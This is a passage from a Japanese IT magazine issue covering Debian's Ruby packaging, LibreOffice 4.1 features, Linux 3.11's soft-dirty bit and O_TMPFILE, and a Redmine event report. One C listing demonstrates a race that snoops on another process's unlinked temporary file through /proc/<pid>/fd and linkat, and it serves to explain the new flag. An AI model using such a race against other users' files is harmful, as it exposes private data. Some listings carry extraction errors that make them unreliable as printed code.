わかるようになっています。
　また、これらパッケージのインス
トール場所も変更されており、

 ▼図3　ruby-switchで rubyとgemを同時に切り替える

$ sudo apt-get install ruby-switch
 （中略） 
$ ruby-switch
Usage:

  ruby-switch --list
    Lists available Ruby interpreters

  ruby-switch --check
    Checks the current Ruby alternatives configuration

  ruby-switch --set RUBYINTERPRETER
    Changes the current Ruby interpreter

  ruby-switch --auto
    Uses the default Ruby interpreter
$ ruby-switch --list
ruby1.8
ruby1.9.1
$ sudo ruby-switch --set ruby1.9.1
$ ruby-switch --check
Currently using: ruby1.9.1
--------------------------

ruby    -> /usr/bin/ruby1.9.1
gem     -> /usr/bin/gem1.9.1

 ▼図4　パッケージのインストール先

$ ruby -rrbconfig -e "p RbConfig::CONFIG['vendordir']"
"/usr/lib/ruby/vendor_ruby"
$ ruby -rrbconfig -e "p RbConfig::CONFIG['vendorarchdir']"
"/usr/lib/ruby/vendor_ruby/1.9.1/x86_64-linux"
$ ruby1.8 -rrbconfig -e "p RbConfig::CONFIG['vendorarchdir']"
"/usr/lib/ruby/vendor_ruby/1.8/x86_64-linux"

注6） Debian/Ruby Wheezy Transition
 URL   http://pkg-ruby-extras.alioth.debian.
org/wheezy/
残念ながら、Wheezyリリース（正確には
freeze）前に修正作業は終わらず、現在でも作
業は（遅々として）進められています。

http://pkg-ruby-extras.alioth.debian.org/wheezy/
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¡pure Ruby library：vendordir
¡Cで書かれた拡張ライブラリ：vendorarchdir

にインストールされるようになりました。筆者
の手元のamd64環境では、それぞれ図4のよう
になっています注7。

Bundler、rbenv

　Rubyをお使いの方にはお馴染みのBundler

とrbenvもWheezyからは提供されるようにな
りました。
　図5のようにお使いのshellの設定ファイル
に eval "$(rbenv init -)"とすることで、
rbenvが使えるようになります。Debianの
rbenvには多少手が加えられており、Debianパッ
ケージで提供されているCRuby処理系もrbenv

で管理できます（図6）。
　また、Bundlerでの依存関係解決にDebian

のパッケージを用いるためにrubygems-integration

パッケージも提供されています。試しにこのパッ
ケージをインストールしたのちにgem listを
実行してみましょう（図7）。ここで表示された

rdoc (3.9.4)は、ruby1.9.1パッケージのRDoc

を表しています。残念ながらすべてのパッケー
ジでgemspecファイルが提供されているわけで
はありませんけれども、Wheezyからはrbenv、
Bundler、そしてDebianの提供するパッケージ
とを協調させて使うことも可能となっています。

最後に

　今回はDebianで提供されているRuby環境、
とくにWheezyでのRuby環境についてまとめ
てみました。次回は「Debianパッケージと協調
しながらRubyのHEADを追いかける方法」や
「gemファイルからDebianパッケージを簡単に

4 4 4

作成するまで」について解説する予定です。ほ
かにも「こんなことが知りたい」「これどうなっ
てんの？」など、みなさんからのご意見、ご感
想などをお待ちしています。編集部（sd@gihyo.

co.jp）宛にお送りいただくか、あるいは@

gihyosdや@debianjp宛に一言いただければ幸
いです。
　それではまた次回！｢

 ▼図5　rbenvを利用する

$ sudo apt-get install rbenv
 （中略） 
$ rbenv init
# Load rbenv automatically by adding
# the following to ~/.zshrc:

eval "$(rbenv init -)"

 ▼図6　DebianパッケージのRubyもrbenvで管理              
　　   できる

$ rbenv alternatives
Added 1.8.7-debian
Added 1.9.3-debian
$ rbenv versions
1.8.7-debian
1.9.3-debian

 ▼図7　rubygems-integrationでDebianパッケージがgemから見えるようになる

$ sudo apt-get install rubygems-integration
 （中略） 
$ gem list

*** LOCAL GEMS ***

rdoc (3.9.4)

注7） Ruby本体に同梱されているライブラリはこれまでどおり、
/usr/lib/ruby/{1.8,1.9.1}以下にインストールされていま
す。

mailto:sd@gihyo.co.jp
mailto:sd@gihyo.co.jp
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Ubuntu Japanese Team
あわしろいくや　AWASHIRO Ikuya　ikuya@fruitsbasket.info

今回はUbuntu 13.04で使用できるLibreOffice 4.1の新機能を紹介します。

Ubuntu Monthly Report

LibreOffice 4.1の
新機能

第41回

　今回のリリースも、やはりLibreOffice（以下
LibO）独自の新機能ばかりではなく、Apache 

OpenOffice（以下AOO）4.0の機能も取り込んで、多
岐に渡る機能が加えられました。AOO 4.0はSun 

Microsystems/OracleのころのOpenOffice.org（以下
OOo）3.0以来、5年ぶりのメジャーバージョンアップ
で、かなり大きな変更が加えられています。その変
更のうち多くの部分はLibO 4.1にも取り込まれてい
るので、まずはAOO 4.0の特徴を解説します。

今回のリリースの特徴

　IBMはOOoの時代から現在に至るまで、Sunに特
別にライセンスしてもらったOOoのソースコードを
もとに、Lotus Symphony（以下Symphony）という
フォーク版を開発し、配布しています注1。2011年に
OracleからApache Software FoundationにOOoの
ソースコードや商標を寄贈した際、開発コミュニ
ティも作られましたが、その多くのメンバはボラン
ティアのIBM社員注2です。2012年1月にSymphony 

3.0.1がリリースされ、その直後にSymphonyはこれ
以上のバージョンアップは行わず注3、AOOと統合す
る旨の発表がありました。Symphonyの公開できる部
分のソースコード公開は2012年5月に行われ、AOO

のソースコードと統合する作業が行われました。
　SymphonyにはOOoにはないさまざまな特徴があ
りました。そのうちの1つはプロパティパネルです
（図1）。AOO 4.0では、これをさらに発展させたサイ
ドバーが（ベースのコードはスクラッチから）開発さ
れました。プロパティパネルの便利な機能はそのま

注1） 2013年7月上旬現在SymphonyのWebサイトはなくなりま
したが、IBMのアカウント(IBM ID)があればダウンロードはで
きるようです。一時的になくなったのか恒久的なものかはわ
かりません。

注2） おおむねIBMとその協力会社の社員とボランティアで構成さ
れていますが、IBMの方針で比率や貢献度合いなどはよくわか
らないのが実態です。

注3） とはいえ、告知が出たあともメンテナンスリリースは継続さ
れていました。

IBM Lotus Symphonyと
OOo

図1　IBM Lotus Symphonyのプロパティパネル
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まに、より便利に使えるようさまざまな面で拡張し
ています。ただしAOO 4.0ではデフォルトでオンで
すが、LibO 4.1では実験的な機能であり、デフォル
トではオフです。詳細は後述します。
　実際にSymphonyからAOO 4.0に取り込まれたも
のは、Microsoft Offi  ceの古いバイナリフォーマット
の互換性向上、さまざまなバグフィックス、ギャラ
リーとテンプレートなど多岐に渡りますが、アクセ
シビリティ機能など一部間に合わなかったものは先
送りされています。もちろんそのうちの多くはLibO 

4.1でも取り込まれていますが、テンプレートは取り
込まれていません。これに関しては、姉妹連載の
Ubuntu Weekly Recipe第279回注4をご覧ください。

 ■画像の回転
　画像を選択して右クリックし、［画像の回転］で用
意に画像の回転ができるようになりました。

 ■テキスト枠でグラデーション
　テキスト枠でグラデーションが指定できるように
なりました。

 ■文書にフォントを埋め込む
　［ファイル］-［プロパティ］-［フォント］の［文書に
フォントを埋め込む］でフォントの埋め込みができる
ようになりました。これはWriterだけでなくCalc

やImpressでも有効です。しかし、Writerが一番便
利に使用できるでしょう。確かにフォントを埋め込
むとファイルサイズは大きくなりますが、フォント
がないことによるズレはなくなります。Calcや
Impressだと文字のズレはそれほどシビアではない
ですし、あまり使う機会は多くなさそうです。

 ■コメントの表示非表示
　コメントの表示／非表示が一括で設定できるよう
になりました。コメントを挿入すると横ルーラーの

注4） http://gihyo.jp/admin/serial/01/ubuntu-recipe/0279

Writerの新機能

右側に［コメント］というスペースができるので、こ
れをクリックしてトグル（切り替え）をします。

 ■予測ウィンドウの位置
　Ubuntuには直接関係ありませんが、たとえば
WindowsでWriterを起動し、Google日本語入力で入
力するとサジェストボックス注5が表示されますが、
文字を入力するたびに右にずれていきました。この
不具合が、4.1では修正されていて、Writerがとても
使用しやすくなりました。

 ■コメントの範囲指定の拡大
　4.0で［挿入］-［コメント］のコメント機能で範囲が
指定できるようになりましたが、範囲に複数の段落
を含むことができなかったなどの制限がありました
が、これが取り払われました。

 ■ステップライン
　グラフの種類の［線］と［散布図］で、［ステップ］と
いう線の種類を選択できるようになりました。［プロ
パティ］でステップの種類を4種類から選択すること
もできるようになりました。

 ■セルの個数をカウント
　選択したセルの個数をカウントできるようになり
ました。Calc右下のスライダーの横にデフォルトで
合計を表示している枠がありますが、これを右ク
リックしてください。すると［選択した個数］がある
ので、これにチェックを入れるとセルの個数をカウ
ントするようになります。

 ■新しい関数
　NUMVERVALUE関数とSKEWP関数をサポー
トしました。いずれもExcel 2013で新たに追加され
た関数です注6。

注5） Google日本語入力だとこのような用語を使用しているようで
すが、ようするに予測候補のウィンドウです。

注6） 後者のExcel 2013での関数名は「SKEW.P」です。

Calc

http://gihyo.jp/admin/serial/01/ubuntu-recipe/0279
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 ■グラフ関連
　［図としてエクスポート］は4.0からあり、SVGも選
択肢にあるものの、実際に出力すると0バイトの
ファイルが作成されるというバグがありましたが、
これが解消しました。そればかりでなく、ODCとい
うファイル形式で保存できるようにもなりました。
この形式で保存すると、グラフの再編集ができます。
グラフをダブルクリックして編集できる状態にし、
［ファイル］-［名前をつけて保存］で保存します。ふた
たびCalcに挿入する場合は、［挿入］-［オブジェクト］
-［グラフ（ファイルから）］を使用してください。

 ■フォトアルバム
　［挿入］-［画像］-［フォトアルバム］でフォトアルバ
ムが作成できるようになりました。使用する画像を
追加し、1ページあたりの画像の数を指定すればフォ
トアルバムができます。

 ■ウィザードが完全にJava仮想マシン不要に
　［ファイル］-［ウィザード］で表示されるウィザード
が、ついに全部JavaからPythonに書き換えられ
ました。これでウィザードを使用するためだけに
Java仮想マシンをインストールする必要はなくなり
ました。残るはBaseのバックエンドデータベースの
みがJavaで書かれていますが、現在Google Summer 

of Code（GSoC）でオープンソースのデータベース
であるFirebirdで置き換えるべく開発が進んで
います。もしもこれが取り込まれればJavaに依存
する部分が完全になくなることになりますが、GSoC

で開発されたものもさまざまで、すぐに取り込ま
れるものもあればさらに開発に時間を要するもの
もあり、中には放置されるものもあるので、現段階
で今後どうなるかを推測するのは不可能な状況
です。

Impress

全般

 ■テキストレイアウトライブラリ
　Linuxのテキストレイアウトライブラリが、メン
テナンスされていないICU（Internatinal Component 

for Unicode）レイアウトエンジンから活発にメンテ
ナンスされているHarfBuzzに置き換えられました。
このように、コアなライブラリを活発にメンテナン
スされているという理由で置き換えていくさまは、
LibOとAOOの違いを端的に表している1つの例だ
と思います注7。

 ■検索バー
　l+Fキーないし［編集］-［検索］で表示される検
索バーの使い勝手が向上しました。表示した状態で
もう一度l+Fキーを押すと、検索バーが消えま
す。ほかにも、検索語を削除するアイコンや英語の
大文字と小文字を区別する機能のチェックボックス
が追加されました。

 ■最近使ったファイルと、履歴削除
　ツールバーのファイルを開くアイコンに、最近
使ったファイルを表示する機能が追加されました。
ついでに、最近使ったファイルの履歴を削除する機
能も追加されました。

 ■サイドバー
　前述のとおり、AOO 4.0のサイドバー機能が取り
込まれています。有効にする場合、［ツール］-［オプ
ション］-［詳細］の-［実験的機能であるサイドバーを
（再起動後に）有効にする］にチェックを入れてくださ
い。すると［サイドバーの設定変更を有効にするに
は、LibreOfficeを再起動する必要があります。
LibreOfficeを今すぐ再起動しますか？］というダイ
アログが表示されるので、［すぐに再起動］をクリッ
クすると再起動します。
　「実験的機能」ではあるのですが、使用していて強
制終了するようなことはありませんでした。［スタイル
と書式設定］や［ナビゲーター］など別ウィンドウが起
動するものや、ギャラリーのように画面の上部を占領

注7） とはいえAOO 4.0もStlport4（C++テンプレートライブラリ）
の使用はやめていますが。
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するものがサイドバーにまとめられて、画面を広く使
うことができるようになります。とくに最近は横長の
ディスプレイが主流ですので、横に余裕があっても
縦にはない、というのはわりと普通のことです。
　サイドバーの便利なところはほかにもあり、プロ
パティパネルの内容が現在行っている作業によって
刻々と変わっていきます（図2、3）。ということは、
いちいちメニューを開かなくてもこのプロパティパ
ネルである程度の作業が完結することになるので、
マウスポインターの移動距離が少なくなるなどの理
由で作業効率が格段に改善します。また、Microsoft 

Officeのリボンインターフェースは、ついついメ
ニューを探す時間がかかるので注8優位だということ
もできます。
　いずれにせよ何か不具合があったら元に戻せます
し注9、気軽に体験してみてください。

 ■ギャラリー
　ギャラリーの画像が一新しました。前述のとおり
元はSymphonyから取り込んだものです。以前の
ギャラリーはほぼ使い物になりませんでしたが、新
しいギャラリーの画像は実用性があると思いますの
で活用ください。

 ■起動速度の向上
　起動時に14,000行近くのラベルのデータを読み込
まなくすることにより、起動が速くなりました。

　LibO 4.1は、LibOのリリース後初めて翻訳対象文
字列が増えています。今までは機能が増えているに
もかかわらず一貫して減り続けていました。どうい
うことかといいますと、ソースコードのクリーン
アップによって使われていなかった文字列の削除が
進み、それは新機能の増加分を上回っていたので

注8） 筆者には意図的にそうさせているように思えるのですが、い
かがでしょうか。

注9） ちなみにAOOではImpressにあったタスクペインは削除され
ているため、元に戻すことはできません。

翻訳の傾向

す。公平に比較するため注10 3.4以降で実際に計測し
た数値を表1に掲載します注11。
　このことから、ソースコードのクリーンアップは
一段落ついたことがわかります。

　執筆段階（7月中旬現在）では未定ですが、LibO 4.1

がUbuntu 13.10に含まれるのは確実です。PPA注12で
は12.04や13.04へのバックポートも提供されるで
しょう。とはいえ、13.04のサポート期間はリリース
後9ヵ月（すなわち2014年1月まで）ですので、バッ
クポートを利用するよりも13.10へのアップグレー
ドを検討したほうがよさそうです。｢

注10） 3.3以前のソースコードにはpoファイルが含まれていないの
で、同じ条件で計測できません。

注11） たとえば3.4.6.2だと次のコマンドで計測しています。「$ 
grep -r msgid libreoffice-translations-3.4.6.2/translations/
source/ja/  |wc -l」

注12） https://launchpad.net/~libreoffice 

LibO 4.1とUbuntu

図2　 Draw起動直後のサイド
バーがこれ

バージョン 翻訳対象文字列数
3.4.6.2 74562
3.5.7.2 74028
3.6.7.1 73975
4.0.4.2 73468
4.1.0.2 73728

表1　翻訳対象文字列数の推移

図3　 オブジェクト（シェイプ）を
作成し、選択するとこのよう
に変化する

https://launchpad.net/~libreoffice
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　7月にLinux 3.10がリリースされて、3.11の
開発が始まっています。今回はLinux 3.10に追
加された機能からTLPを、Linux 3.11からは
soft-dirtyとO_TMPFILEについて解説します。

TCP TLP
　まずはLinux 3.10の追加機能からまだ紹介し
きれていなかったTCP TLP（TailLoss Probe）
についてです。これは簡単に言うとTCPのレイ
テンシを改善するためのTCP通信送信側への
修正アルゴリズムです。TCPは送信されたデー
タが正しく順番どおりに受信されることを保証
します。そのために受信側からどこまでのデー
タを受け取ったかの応答（ACK）が返されます。
この応答がしばらく待っても返ってこないとき、
あるいは応答があっても受信側に抜けがあると
の応答を受けたときに再度データを送信してい
ます。
　一般に、応答が返ってこないので、データを
送信しなおすまでの間隔であるRTO（Retrans 

mission Time Out）は比較的大きく設定されて
います。とくにWebページのように、大量の
TCPコネクションを張るものの、それらひとつ
ひとつのデータサイズが小さく通信時間が短い
ような通信の場合、RTOまで待って再送するの
はレイテンシに大きな悪影響を与えてしまいます。

  

そこで高速再転送などのRTOまで待つのを回避
するしくみが使われています。受信側は順番が
とんだデータを受け取ったときに、受け取って
いない番号を通知します。この重複のACKが3

度あると、送信側は再送処理に入ります（図1）。
　しかし、この高速再転送が使えないケースが
あります。通信の末尾近くでデータが失われた
場合、再送処理をスタートするための3つの重
複ACKが来るチャンスがありません。こういっ
た場合に再送処理に入るために必要な重複ACK

の数を減らすEarly Retransmitという手法があ
ります。これはLinux 3.5にて導入されています。
とはいえ、Early Retransmitでも通信末尾近く
での喪失のすべての問題は解決できてはいませ

ACK2を返す

1

2

3

4

5

6

ACK2を返す

ACK3を返す

ACK3を返す

ACK3を返す

再送処理の開始

 ▼図1　再送処理

Linux 3.11の新機能
～soft-dirtyとO_TMPFILE～
Text：青田 直大　AOTA Naohiro

第18回第18回
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ん。Early Retransmitが動くには少なくとも1

回はデータが到着して、重複ACKが返ってこ
なければいけません。TLPはこの問題を解決す
るために、RTOよりも前にPTO（Probe Time 

Out）というアラームを設定します。このPTO

よりも前にACKが返ってこなかった場合、（か
つ新しく送信するデータがもうない場合に）最後
に送ったデータを再送します（図2）。これが受
信側に届き、なおかつ相手がそれ以前のデータ
を受け取っていなかった場合、重複ACKなど
で再送処理に入ることができます。

CRIUでのプロセスの
ダンプと復元

　プロセスの状態をファイルとしてダンプし、
そのダンプファイルからプロセスをもとの状態
に復元するツールを作成するプロジェクト
CRIUから、また1つカーネルへとパッチがマー
ジされました。今回のパッチで、ダンプしたい
プロセスのメモリのうち、ある時点以降で書き
換えられた部分を検出できるようになります。
これによって、ダンプの生成をより効率的に行
えるようになります。
　CRIUにはいろいろな使い方が考えられますが、
2つのシナリオから現在の問題点を見てみましょ
う。まずは「5分ごとにプロセスのそのときのダン
プを保存しておく」といったシナリオを考えてみ

  

ACK2を返す

1

2

3

4

5

5の再送

ACK3を返す

ACK3受信

PTOの
スケジュール PTO

3番のRTO

ACK3 SACK5-6

再送処理に
入る

 ▼図2　Early Retransmitによる再送処理

ます。こうすると好きなタイミングでのプロセス
の状態をあとから復元できます。しかし、たった
の5分間ではプロセスのメモリの内容は変わって
いないことも多いでしょう。 この場合、毎回す
べてのメモリ内容をダンプするのではなく、前回
からの差分だけをダンプできるようになれば、ダ
ンプに必要となるディスクの容量を削減できます。
　次にライブマイグレーションのシナリオを考
えてみましょう。これはたとえば何かのサーバ
を動かしたまま、1つのマシンから別のマシン
へとプロセスを移動することです。ここで問題
となるのがサービスの停止時間です。プロセス
のダンプと再開は次のように行われます。

・ プロセスを一時停止する
・ メモリをダンプする
・ 別のマシンへダンプをコピーする
・ 別のマシンでプロセスを再開する

　ここでプロセスのメモリの容量が大きくなると、
プロセスの一時停止から再開までのサービス停
止時間も大きくなっていきます。ここで対策と
して使われるのがイテレーティブ・マイグレーショ
ンという手法です。CRIUでは本番のダンプの
前にpre-dumpを行うことができます。pre-dump

の結果のファイルからはプロセスを再開するこ
とはできませんが、何度かpre-dumpを行ったあ
とに本番のダンプを行うことで、差分だけがダ
ンプされるようになります。こうするとサービス
の停止時間をより少なくできるというわけです。

soft-dirty PTE
　ここまでの話で出てきた「プロセスの差分だけ
をダンプする」ためにLinux 3.11に入ったのが
PTE（Page Table Entry）のsoft-dirty bitです。
　“soft-dirty”という名前からわかるとおり、ソ
フトウェア側で管理されているdirty bitです。
PTEにはこれまでにもすでにdirty bitというも
のがありました。どちらもメモリページが「汚れ
た」ときにdirty bitが立ちます。つまり、ある領
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域に書きこみがあってメモリの内容が変更され
るとこれまでのdirty bitもsoft-dirty bitも立ち
ます。これら2つのbitの違いはbitがクリアさ
れるタイミングにあります。通常のdirty bitは
たとえばファイルのデータへの変更がディスク
に書き込まれたタイミングでクリアされます。
一方で、soft-dirty bitはソフトウェアが好きな
タイミングでクリアできます。ですからマイグレー
ションの開始時点にsoft-dirty bitをクリアすれ
ば、それ以後に書き換えがあったページには
soft-dirty bitが立っているので、それらのペー
ジだけをコピーすれば良いということになります。

soft-dirtyを使った
プログラム

　それではsoft-dirtyを使うプログラムを見て
みましょう（リスト1）。
　まず関数から見てみるとclear_soft_dirty()で
は、/proc/self/clear_refsに "4"を書くことで、
このプロセスのsoft-dirty bitをクリアします。
また、show_soft_dirty(buf,n)では指定されたア
ドレスのあるページからnページ分のsoft-dirty 

bitが0か1かを表示しています。/proc/self/

pagemapにはプロセスの各ページについてswap

されているかどうかや、swapのオフセットなど
を含んだ64bitの値が記載されています。1ペー
ジの大きさが4,096byteなので、12bitシフトす
ることでbufのアドレスが何番目のページにあ
るかを知ることができます。これを使って
pagemapの8*<ページ番号>にseekして、64bit

読み込むことで目的の値をとることができます。
この値の55bit目がsoft-dirty bitとなっている
ので、これを表示しています。
　さてメインの部分では次のような処理を行っ
ています。

・ 最初のsoft-dirtyを見る
・ soft-dirtyをクリアする
・ ページ0～3に順番に書き込み、それぞれの
あとのsoft-dirtyを表示

  

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#define PAGE_SIZE 4096
#define PAGE_COUNT 4
#define BUF_SIZE PAGE_SIZE * PAGE_COUNT
#define SOFT_DIRTY ((uint64_t)1 << 55)

void clear_soft_dirty()
{
  FILE *f = fopen("/proc/self/clear_refs", "w");
  if (f == NULL) abort();
  fprintf(f, "4¥n");
  fclose(f);
}

void show_soft_dirty(void *buf, int n)
{
  uint64_t val;
  int i;
  long index = (size_t)buf >> 12;

  for (i = 0; i < n; ++i)
    printf("%02d ", i);
  printf("¥n");
  
  FILE *f = fopen("/proc/self/pagemap", "r");
  if (f == NULL) abort();
  for (i = 0; i < n; ++i) {
    fseek(f, (index+i)*8, SEEK_SET);
    fread(&val, sizeof(val), 1, f);
    printf("%2d ", (val & SOFT_DIRTY) != 0);
  }
  printf("¥n");
  fclose(f);
}

int main(int argc, char *argv[])
{
  int i;

  char *buf = malloc(BUF_SIZE);
  printf("Initialize the buffer¥n");
  memset(buf, 1, BUF_SIZE);
  show_soft_dirty(buf, PAGE_COUNT);
  
  printf("Clear the buffer¥n");
  clear_soft_dirty();
  show_soft_dirty(buf, PAGE_COUNT);

  for (i=0; i<PAGE_COUNT; ++i) {
    printf("Writing to page %02d¥n", i);
    buf[i*PAGE_SIZE] = i;
    show_soft_dirty(buf, PAGE_COUNT);
  }
  return 0;
}

 ▼リスト1　soft-dirtyを使うプログラム
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　これを実行してみると図3のような表示が得
られます。最初はすべて立っているsoft-dirty 

bitがclear_soft_dirty()によってクリアされ、や
がて書き込むごとにまたsoft-dirty bitが立って
いく様子が見えるかと思います。

O_TMPFILE
　次のトピックは、O_TMPFILEの追加です。
“O_”が最初についてることから予想されるとおり、
これはopen()の新しいフラグで、一時ファイル
を作るために使われます。よくある一時ファイ
ルの作り方はファイルをランダムな名前でopen()

して、すぐにunlink()してしまうことです。こう
することでほかのプロセスからは見えない（なの
で開けない）ファイルを作ることができます。し
かし、実はこれにはセキュリティ的な問題があ
ります。/proc/<PID>/fdの下にはファイルデス
クリプタ番号をファイル名にとる開いているファ
イルへのシンボリックリンクがあります。これ
に対してシンボリックリンク先をたどってリン
クを作る linkat()のAT_SYMLINK_FOLLOW

を使うと、ほかの誰からも見えないはずだったファ
イルが開けてしまいます。
　これの対策として、ファイルがO_TMPFILE 

| O_CREAT | O_EXCLで作られていれば

  

linkat()がENOENTで失敗するようになってい
ます。

O_TMPFILEを使った
プログラム

　それでは従来の方法とO_TMPFILEを使った
方法とをプログラムを書いて比べてみましょう。
リスト2のプログラムでは forkを使って一方
のプロセスは一時ファイルを作り、もう一方は
その一時ファイルを開いて中身を覗こうとしてい
ます。
　一時ファイルを覗こうとするほうの処理は
parent()関数に書かれています。対象のプロセス
IDはわかっているので、それを使って"/proc/<

プロセス ID>/fd/3"を linkat()を用いて /tmp/

targetにリンクしようとします。リンクに成功す
れば、あとは元の一時ファイルがclose()されても、
/tmp/targetから自由に読み書きできるので1秒
ほどsleepしてもう一方のプロセスに書きこみを
行わせています。そして、/tmp/targetに何が書
かれていたのかを表示して、一時ファイルを生
成していたプロセスを終了させています。
　一時ファイルを生成する側は従来の方法とO_

TMPFILEとを順に使っています。mktemp()は
いわゆる従来の方法で、フォーマットとなるファ
イル名を指定して、その名前でユニークな一時
ファイルを作成し、削除しています。O_

TMPFILEのほうはカーネルのヘッダからの定
義をコピーしています。O_DIRECTORYを含
んでいることからわかるとおり、O_TMPFILE

で開く対象はファイルではなく、ディレクトリ
となります。
　リスト2のプログラムを実行してみると（"/

tmp"がext2などのO_TMPFILEをサポートし
ているファイルシステムであれば）図4のような
出力が得られるでしょう。従来の方法では、こ
の場合 i=17のときにopen()とunlink()の間に割
り込むことができてしまっています。一方でO_

TMPFILEを使えばunlink()までがアトミック
に行われ割り込むことはできないので、最後ま

  

$ gcc -Wall -Werror soft-dirty.c && ./a.out
Initialize the buffer
00 01 02 03 
 1  1  1  1 
Clear the buffer
00 01 02 03 
 0  0  0  0 
Writing to page 00
00 01 02 03 
 1  0  0  0 
Writing to page 01
00 01 02 03 
 1  1  0  0 
Writing to page 02
00 01 02 03 
 1  1  1  0 
Writing to page 03
00 01 02 03 
 1  1  1  1 

 ▼図3　実行例
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#include <sys/types.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <string.h>

#define __O_TMPFILE 020000000
#define O_TMPFILE (__O_TMPFILE ¦ O_DIRECTORY ¦ O_RDWR)
#define TRY 4096

#define DIR "/tmp"

void parent(pid_t pid) 
{
  int i, r;
  char dirname[256];
  sprintf(dirname, "/proc/%d/fd", pid);
  int olddir = open(dirname, O_RDONLY);
  int newdir = open(DIR, O_RDONLY);
  if (olddir < 0 ¦¦ newdir < 0) abort();

  unlink(DIR "/target");
  for (i = 0; i < TRY ; ++i) {
    if ((r = linkat(olddir, "3", newdir, "target", AT_SYMLINK_FOLLOW)) == 0)
      break;
    perror("open failed");
  }
  close(olddir); close(newdir);
  if (r != 0) goto out;

  fprintf(stderr, "file opened¥n");
  sleep(1);
  char buf[256];
  FILE *f = fopen(DIR "/target", "r");
  fgets(buf, 256, f);
  fprintf(stderr, "FILE: %s", buf);
  fclosef;

 out:
  kill(pid, SIGTERM);
  wait(NULL);
}

void writen(int fd, unsigned long n)
{
  char buf[256];
  sprintf(buf, "%ld¥n", n);
  write(fd, buf, 256);
}

int main(int argc, char *argv[])
{
  pid_t pid;

  fprintf(stderr, "Using tmpfile()¥n");
  if ((pid = fork())) {
    parent(pid);
  } else {
    unsigned long i = 0;

 ▼リスト2　O_TMPFILEを使ったプログラム

 次ページに続く
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でファイルを覗き見ることができていません。
　このようにLinux独自ではあるもののO_

CLOEXECと同様に便利そうなO_TMPFILE 

ですが、筆者が手元で遊んで見ている限りですと、
まだまだバギーな部分が残っているようです。
RCのうちにこれらの部分が改善されていくと
良いのですが……。

まとめ
　今回はLinux 3.10からTLPについてと、3.11

の新機能からsoft-dirtyとO_TMPFILEについ
て解説しました。TLPはGoogleからのパッチ
でしたが、Googleは以前にもTCPを改良する
パッチ（Early Retransmitなど）を書いています。
TCPを高速化する試みを積極的に行っているあ
たり、さすがGoogleといったところでしょう。
今後もFEC（Forward Error Correction）といっ
た改良を進めていくようです。
　またLinux 3.11の soft-dirtyによってCRIU

がより便利になりました。プロジェクトも
CRIUの活用事例を集めています。ぜひCRIU

をさわってみて新しい使い方を提案してみてく
ださい。｢

  

 ▼図5　Tuxくん

ロゴの変更
　ここまででsoft-dirtyとO_TMPFILE

について解説しましたが、Linux 3.11

である意味一番「目に見える」変更は
起動時のペンギンロゴTuxくんが
Windowsロゴのような旗を持っている
ことです（図5）。
　「なんでWindowsの旗を?」と思われ
ますが、Linux 3.11のコードネームを
見てみるとわかります。今回のコード
ネームは“Linux for Workgroups”と
なっていて、Linux 3.11と“Windows 

for Workgroups3.11”が、かかってい
るわけですね。

  

前ページの続き

    for (;; ++i) {
      char *buf = strdup(DIR "/tmpfileXXXXXX");
      mktemp(buf);
      int fd = open(buf, O_CREAT¦O_EXCL¦O_RDWR, 0666);
      if (fd < 0) {
        perror("open");
        break;
      }
      unlink(buf);
      free(buf);
      writen(fd, i);
      close(fd);
    }
  }

  fprintf(stderr, "Using O_TMPFILE¥n");
  if ((pid = fork())) {
    parent(pid);
  } else {
    unsigned long i = 0;
    for (;; ++i) {
      int fd = open(DIR, O_TMPFILE¦O_EXCL, 0666);
      if (fd < 0) {
        perror("open");
        break;
      }
      writen(fd, i);
      close(fd);
    }
  }

  return 0;
}

# ./a.out ¦&uniq
Using tmpfile()
open failed: No such file or directory
file opened
FILE: 17
Using O_TMPFILE
open failed: No such file or directory

 ▼図4　実行例
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対して1枚のチケットを作成し、内容や担当者、進
捗などを記録していきます。Wikiはプロジェクトに
関わる文書を編集し一覧できるようにするものです。

■Webサービス運用、Scrum、デバッグでの運用例

　エイチームにおいては、Webサービスの運用、
Scrumでの利用、デバッグへの対処などでRedmine

が使われています。Webサービス運用ではチケット
のワークフローのしくみを利用し、改修依頼が来た
らプロダクトオーナーの承認を経て開発者による作
業を行い、テストが完了したら再びプロダクトオー
ナーの承認を得てリリース、という流れを実現して
います。Scrumはアジャイル開発手法の1つで、短期
間の目標を立てて開発し振り返るという作業を繰り
返しますが、Redmine Backlogsというプラグインを
導入するとこれらの作業をサポートできます。デ
バッグへの対処においては外部企業と共同で利用す
るプロジェクトを作成し、バグが見つかったらその
都度チケットを作成して対応しています。

■運用のコツ̶̶Redmineを見るように仕向ける

　Redmineを運用する際は、便利そうだからツール
を置いたというだけではダメで、使ってもらうため
の工夫が必要です。とくに、ついRedmineを見にき
てしまうような状況を作るのが理想です。たとえば
Redmine Microblogというプラグインを導入してチ
ケットに関するツイートができるようにしたり、イ
メージキャラクター的な画像を設置したりするだけ
でも効果があるようです。最後に、BitNami::Redmine

やALminiumといったRedmineのインストーラが紹

　ここ2回ほど、歴史の話を中心にお送りしてきま
したが、今回から再びイベントレポートに戻ります。
今回は6月に名古屋、7月に沖縄で行った研究会の模
様をお伝えします。

 ■「Redmine」でプロジェクトを【見える化】しよう！

 【日時】2013年6月22日（土）16:15～17:00

 【会場】名古屋国際センター 5F 第1会議室

 【講師】矢島 卓（エイチーム）

 【司会】法林 浩之（日本UNIXユーザ会）

　名古屋大会は、この地に本社を構えるエイチーム
から矢島さんを講師にお迎えし、Redmineを用いて社
内のプロジェクトを管理する事例を紹介いただきま
した。参加者は66人でした。
　Redmineは、プロジェクト管理、バグトラッキン
グ、関係者との情報共有、タスク管理などの用途に
適したツールです。Rubyのバグトラッキングシステ
ムとして使われているほか、楽天における数千人規
模の開発管理など大規模な利用事例があります。主
な特徴は、Webベースであること、Ruby On Railsで
開発されていること、GPLに基づくオープンソース
ソフトウェアであることです。構成要素は、プロ
ジェクト、チケット、Wikiの3つです。プロジェクト
は開発しているソフトウェアごとに用意するもので、
プロジェクトの下にサブプロジェクトを置くような
階層構造にもできます。チケットはプロジェクトに
おける問題やタスクを管理するもので、1件の問題に

プロジェクト管理も事務処理もOSSで

日本UNIXユーザ会　http://www.jus.or.jp/
法林 浩之　HOURIN Hiroyuki　hourin@suplex.gr.jp

NO.23
September 2013

名古屋大会

http://www.jus.or.jp/
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介されました。
　写真や図を豊富に用いたわかりやすい資料と、矢
